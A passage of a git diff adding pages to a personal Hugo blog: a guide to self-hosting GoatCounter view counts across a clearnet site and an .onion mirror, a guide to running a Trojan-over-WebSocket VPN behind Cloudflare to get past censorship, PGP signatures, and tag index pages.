counting to the same GoatCounter site. Paste this whole section at the end of the post. + +--- + +### 1) Clean up old counters (optional, once) +```bash +# From your Hugo site root +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" . +``` +Remove any matching ` + + + +``` + +Style so meta items stay inline with middle dots (PaperMod‑like). Put this in `assets/css/extended/goatcounter.css`: +```css +.post-single .post-header .post-meta, +.post-single .post-header .entry-meta, +.post-entry .entry-footer, +.post-entry .post-meta { + display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; +} +.post-single .post-header .post-meta > *, +.post-single .post-header .entry-meta > *, +.post-entry .entry-footer > *, +.post-entry .post-meta > * { + display:inline-flex; align-items:center; white-space:nowrap; +} +.post-single .post-header .post-meta > * + *::before, +.post-single .post-header .entry-meta > * + *::before, +.post-entry .entry-footer > * + *::before, +.post-entry .post-meta > * + *::before { + content:"·"; margin:0 .5rem; opacity:.6; +} +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } +``` + +--- + +### 6) Count Tor (.onion) visits **into the same site** +In the **.onion** server block, proxy GoatCounter endpoints to the same site by forcing the Host header: + +```nginx +# inside: server { ... } for fjthpp2h3mj2r....onion + +location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; # onion is http +} + +location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; + add_header Cache-Control "no-store"; + proxy_no_cache 1; proxy_cache_bypass 1; +} +``` + +Because the loader above sets `window.goatcounter.endpoint` to `/count` on `.onion`, both **hits** and **reads** stay on the onion origin and are tallied into the same GoatCounter site. + +> **Note on DNT/Tor:** Tor Browser sends `DNT: 1`. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way. + +--- + +### 7) Troubleshooting quick notes +- **400 “no site at this domain”** → create the site with `-vhost=statsblog.alipourimjourneys.ir` or fix your proxy `Host` header. +- **Counts don’t change on onion** → verify Tor path via `torsocks`, watch logs: + ```bash + docker compose logs -f goatcounter + # look for “ignored: bot” (curl UA), or DNT being respected + ``` +- **DevTools sanity** → on clearnet you should see `https://statsblog…/count` and `…/counter/*.json`; on onion you should see `/count` and `/counter/*.json` (same‑origin). + +That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere. + + +Honestly, self-hosting GoatCounter wasn't as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it's done and dusted, and I'm a happy puppy! :D + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/view_count.md.asc b/public-clearnet/sources/posts/view_count.md.asc new file mode 100644 index 0000000..f32df87 --- /dev/null +++ b/public-clearnet/sources/posts/view_count.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8 +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2 +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc= +=o387 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/vpn.md b/public-clearnet/sources/posts/vpn.md new file mode 100644 index 0000000..e4c2115 --- /dev/null +++ b/public-clearnet/sources/posts/vpn.md @@ -0,0 +1,177 @@ +--- +title: "Stealth Trojan VPN Behind Cloudflare Guide" +date: 2025-09-09T11:05:00+02:00 +draft: false +tags: ["VPN", "Trojan", "Cloudflare", "Xray", "3x-ui", "Bypass", "Privacy", "Debugging"] +categories: ["Guides"] +--- + +## Introduction +So you want a VPN that **doesn't scream "I am a VPN"** to every censor and firewall out there? +Welcome to the world of **Trojan over WebSocket + TLS behind Cloudflare**. + +This guide not only shows you how to set it up but also sprinkles in some **debugging magic** so you can figure out why things break (and they *will* break, trust me). + +We’ll anonymise domains and secrets, so substitute with your own: +- VPN domain: `web.example.com` +- Panel domain: `panel.example.com` +- Secret WS path: `/stealth-path_abcd1234` +- Password: `` + +--- + +## Architecture at a Glance +Think of it as a disguise party: + +- **Trojan** = the shy guest (your VPN protocol) +- **Nginx** = the bouncer checking IDs (reverse proxy) +- **Cloudflare** = the doorman who makes sure nobody sees who's inside (CDN & proxy) +- **Your fake website** = the mask (camouflage page) + +Traffic flow: +``` +Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321) +``` + +--- + +## Step 1: Panel Setup (`panel.example.com`) +- Bind the 3x-ui panel to localhost (e.g., `127.0.0.1:46309`). +- Choose a funky **web base path** like `/panel-bananas_42/`. +- Proxy it through Nginx with HTTPS + Basic Auth. +- Test it at `https://panel.example.com/panel-bananas_42/`. + +**Pro tip:** If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs! + +--- + +## Step 2: Trojan Inbound +In 3x-ui, create a Trojan inbound: +- Local port: `54321` +- Transport: WebSocket +- Path: `/stealth-path_abcd1234` +- Security: none +- Password: `` + +--- + +## Step 3: Nginx for VPN Domain (`web.example.com`) +Your Nginx is the gatekeeper. Sample config: + +```nginx +server { + listen 443 ssl http2; + server_name web.example.com; + + ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; + + # Fake website at root + location / { + root /var/www/html; + index index.html; + } + + # Real VPN under secret WS path + location /stealth-path_abcd1234 { + proxy_pass http://127.0.0.1:54321; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + } +} +``` + +--- + +## Step 4: Firewall Rules +Lock things down! Only Cloudflare should reach you: +```bash +ufw allow 22/tcp +ufw allow 80/tcp +ufw allow 443/tcp +ufw deny 54321/tcp +``` + +--- + +## Step 5: Client Config +Trojan URI: +``` +trojan://@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN +``` + +iOS clients: Shadowrocket, Stash, FoXray +Android clients: v2rayNG, Clash Meta, NekoBox + +--- + +## Debugging Time (a.k.a. “Why the heck doesn’t it work?!”) + +### Symptom: **520 Unknown Error (Cloudflare)** +- Likely cause: Nginx couldn’t talk to Trojan. +- Check Nginx error log: + ```bash + tail -n 50 /var/log/nginx/error.log + ``` +- If you see `upstream sent no valid HTTP/1.0 header` → you’re mixing HTTPS/HTTP between Nginx and Trojan. + +--- + +### Symptom: **526 Invalid SSL certificate** +- Cloudflare → Nginx cert mismatch. +- Run: + ```bash + openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts + ``` +- Make sure CN = `web.example.com`. If not, fix your cert. + +--- + +### Symptom: **Blank page on panel** +- Check if the base path matches exactly (case-sensitive, slash-sensitive). +- Watch for sneaky trailing spaces! +- Test locally: + ```bash + curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ + ``` + +--- + +### Symptom: **Client won’t connect** +- Run a WebSocket test: + ```bash + curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234 + ``` + Expect `101 Switching Protocols`. If not, check Nginx config. + +--- + +### Symptom: **Censor still blocks you** +- Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP? + → They’ll find your origin IP. Use a second VPS or lock those ports down. +- Did you use an obvious path like `/ws`? + → Use a random-looking one like `/cdn-assets-329df/`. + +--- + +## Pro Tips & Fun Tricks +- Serve a fake blog or portfolio at root so your domain looks legit. +- Rotate WebSocket paths occasionally. +- Use Cloudflare **Page Rules** to disable Rocket Loader & Minify for your VPN domain. +- Make friends with your Nginx error.log — it will roast you but it tells the truth. + +--- + +## Conclusion +By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise: +- Looks like normal HTTPS. +- Hides your origin IP. +- Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. + +Congrats — you’ve built a VPN with both **style** and **stealth**. 🥷 + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/vpn.md.asc b/public-clearnet/sources/posts/vpn.md.asc new file mode 100644 index 0000000..2367660 --- /dev/null +++ b/public-clearnet/sources/posts/vpn.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y= +=IovZ +-----END PGP SIGNATURE----- diff --git a/public-clearnet/tags/3x-ui/index.html b/public-clearnet/tags/3x-ui/index.html new file mode 100644 index 0000000..c68657b --- /dev/null +++ b/public-clearnet/tags/3x-ui/index.html @@ -0,0 +1,15 @@ +3x-Ui | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/3x-ui/index.xml b/public-clearnet/tags/3x-ui/index.xml new file mode 100644 index 0000000..c6982fb --- /dev/null +++ b/public-clearnet/tags/3x-ui/index.xml @@ -0,0 +1,176 @@ +3x-Ui on AlipourIm journeyshttps://blog.alipour.eu/tags/3x-ui/Recent content in 3x-Ui on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/3x-ui/page/1/index.html b/public-clearnet/tags/3x-ui/page/1/index.html new file mode 100644 index 0000000..3dcb42f --- /dev/null +++ b/public-clearnet/tags/3x-ui/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/3x-ui/ + \ No newline at end of file diff --git a/public-clearnet/tags/analytics/index.html b/public-clearnet/tags/analytics/index.html new file mode 100644 index 0000000..10fc22e --- /dev/null +++ b/public-clearnet/tags/analytics/index.html @@ -0,0 +1,11 @@ +Analytics | AlipourIm journeys +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/analytics/index.xml b/public-clearnet/tags/analytics/index.xml new file mode 100644 index 0000000..8beda18 --- /dev/null +++ b/public-clearnet/tags/analytics/index.xml @@ -0,0 +1,336 @@ +Analytics on AlipourIm journeyshttps://blog.alipour.eu/tags/analytics/Recent content in Analytics on AlipourIm journeysHugo -- 0.146.0enSat, 18 Oct 2025 10:45:00 +0000A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
